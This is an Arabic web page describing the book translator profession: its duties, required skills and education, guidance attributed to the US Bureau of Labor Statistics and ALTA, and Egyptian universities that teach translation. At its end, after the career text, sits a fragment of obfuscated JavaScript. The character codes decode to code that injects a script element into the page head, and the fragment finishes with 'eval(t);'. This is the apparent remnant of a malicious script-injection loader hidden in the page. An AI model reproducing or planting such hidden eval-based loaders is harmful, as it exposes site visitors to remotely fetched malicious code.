مترجم الكتاب

1.8K

الوصف الوظيفي والواجبات والمتطلبات:
يجب أن يتقن مترجمو الكتب لغتين على الأقل، وأن يكون لديهم معرفة ووعي ثقافي حتى يتمكنوا من ترجمة النص بشكل فعال من لغة إلى أخرى. عادةً ما يُطلب من مترجمي الكتب الحصول على درجة البكالوريوس، على الرغم من أن الاعتبار الأكثر أهمية لأصحاب العمل هو الخبرة فى الترجمة غالبًا.

معلومات ضرورية:
يقوم مترجمو الكتب بتحويل الكتب المكتوبة بلغة إلى أخرى. بالإضافة إلى إتقان لغتين على الأقل، يجب على مترجمي الكتب أن يكونوا على دراية بالثقافات التي تشكل هذه اللغات جزءًا منها. لا يمتلك معظم مترجمي الكتب مكتبًا يقدمون تقارير إليه بشكل منتظم ويكونون أحرارًا في العمل أينما يختارون. يتم استلام المهام بشكل عام وإرسالها إليكترونيًا، مما يجعل الكمبيوتر ضروريًا لمعظم مترجمي الكتب.

التعليم المطلوب:
درجة الليسانس في اللغات (تختلف حسب صاحب العمل).

المهارات المطلوبة:
يجيد لغتين؛ معرفة ثقافية واسعة؛ خبرة فى ترجمة الكتب.

الوصف الوظيفي لمترجم الكتب:
يقوم مترجمو الكتب بتحويل الكتب المكتوبة بلغة إلى أخرى. أكثر من مجرد تحويل الكلمات من لغة إلى أخرى، يجب على مترجمي الكتب تقليد الصوت والأسلوب وبناء الجملة والتعابير والمعنى والخصائص الأدبية الأخرى الواردة في الكتاب الأصلي.

واجبات عمل مترجم الكتاب:
يختار العديد من مترجمي الكتب الأعمال التي يحبون ترجمتها. لذلك يجب عليهم تطوير موهبة اختيار الروايات والمؤلفين المتميزين الذين سيرغب الناشرون في نشر أعمالهم. عادةً ما يرسل مترجمي الكتب استفسارات تتضمن عينة من النص المترجم لإثبات مهاراتهم. أحيانًا ما يكون التواصل مع محترفي النشر جزءًا من وظيفة مترجم الكتب من أجل بناء سمعة واكتساب المزيد من الوظائف.
يقوم مترجمو الكتب باستمرار بصقل مهاراتهم في الكتابة والترجمة من خلال ممارسة الترجمة باستخدام الأعمال الأدبية المختلفة. يمكن لمترجمي الكتب عند ترجمة كتاب قراءة النص عدة مرات للتأكد من فهمهم لموضوع الكتاب ومخططه وتحديد صوت المؤلف والحفاظ عليه، والتفكير في أي إشكاليات للترجمة وحلولها وضمان الدقة الكاملة، ويمكنهم العمل مباشرة مع مؤلف الكتاب إن أمكن.
تعد مراجع الترجمة مثل قواميس اللغات الأجنبية والمعاجم والموسوعات وبنوك المفردات الرقمية جزءًا من صندوق أدوات مترجم الكتاب. هذه الموارد مفيدة بشكل خاص أثناء المراجعات المتعددة التي يقوم بها مترجمو الكتب لضمان الدقة المطلقة. لتسهيل الترجمات المستقبلية، يمكن لمترجمي الكتب تجميع قوائم المصطلحات الشائعة والعامية وغيرها من المعلومات المفيدة.
يتعلم مترجمو الكتب باستمرار عن الشؤون الثقافية للأشخاص الذين يتحدثون اللغات التي يترجمون منها. بالإضافة إلى مواكبة الأحداث الجارية في العالم، يظل مترجمو الكتب على اطلاع دائم على الكتب الجديدة التي يتم نشرها ويقرؤون باستمرار كتبًا من مؤلفين محليين في البلدان التي يتم التحدث بها باللغة المترجمة.
كما يمكن لمترجمي الكتب الانغماس في الثقافة من خلال السفر إلى البلاد وقراءة الصحف والمجلات الأجنبية والمشاركة في أنشطة الحياة اليومية ومشاهدة الأفلام الأجنبية والاستماع إلى الموسيقى الأجنبية.

متطلبات مترجم الكتاب
يجب على مترجمي الكتب التحدث بلغتين على الأقل بطلاقة مع فهم شامل للثقافات حيث يتم استخدام كل لغة. تشمل الثقافة التاريخ والشؤون السياسية والأدب والدين والفن والحياة اليومية.
صرح مكتب الولايات المتحدة لإحصائيات العمل (BLS) أن متطلبات التعليم تختلف حسب صاحب العمل، والخبرة هي أهم شيء لمترجمي الكتب. اقترحت BLS أن يبدأ مترجمي الكتب بالتطوع أو أداء أعمال الترجمة غير الرسمية.
وفقًا لجمعية المترجمين الأدبيين الأمريكيين (ALTA)، من النادر بدء مهنة الترجمة الأدبية بترجمة الكتب. وتعتبر ترجمة المقاطع القصيرة بما في ذلك القصص القصيرة والقصائد طريقة جيدة لبناء ملف سابقة الأعمال وسمعة جيدة لاتخاذ قرارات جيدة بشأن الروايات التي يجب ترجمتها.
يحصل العديد من مترجمي الكتب على تعليم الترجمة من خلال استكمال برنامج درجة الترجمة. تتوفر برامج درجة الليسانس في الأدب المقارن، ولكن قد تركز شهادات الدراسات العليا بشكل أكثر تحديدًا على الترجمة الأدبية

• الدراسة الاكاديمية
كليات الادب ولغات والترجمة بالجامعات المصرية الحكومية والخاصة

107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);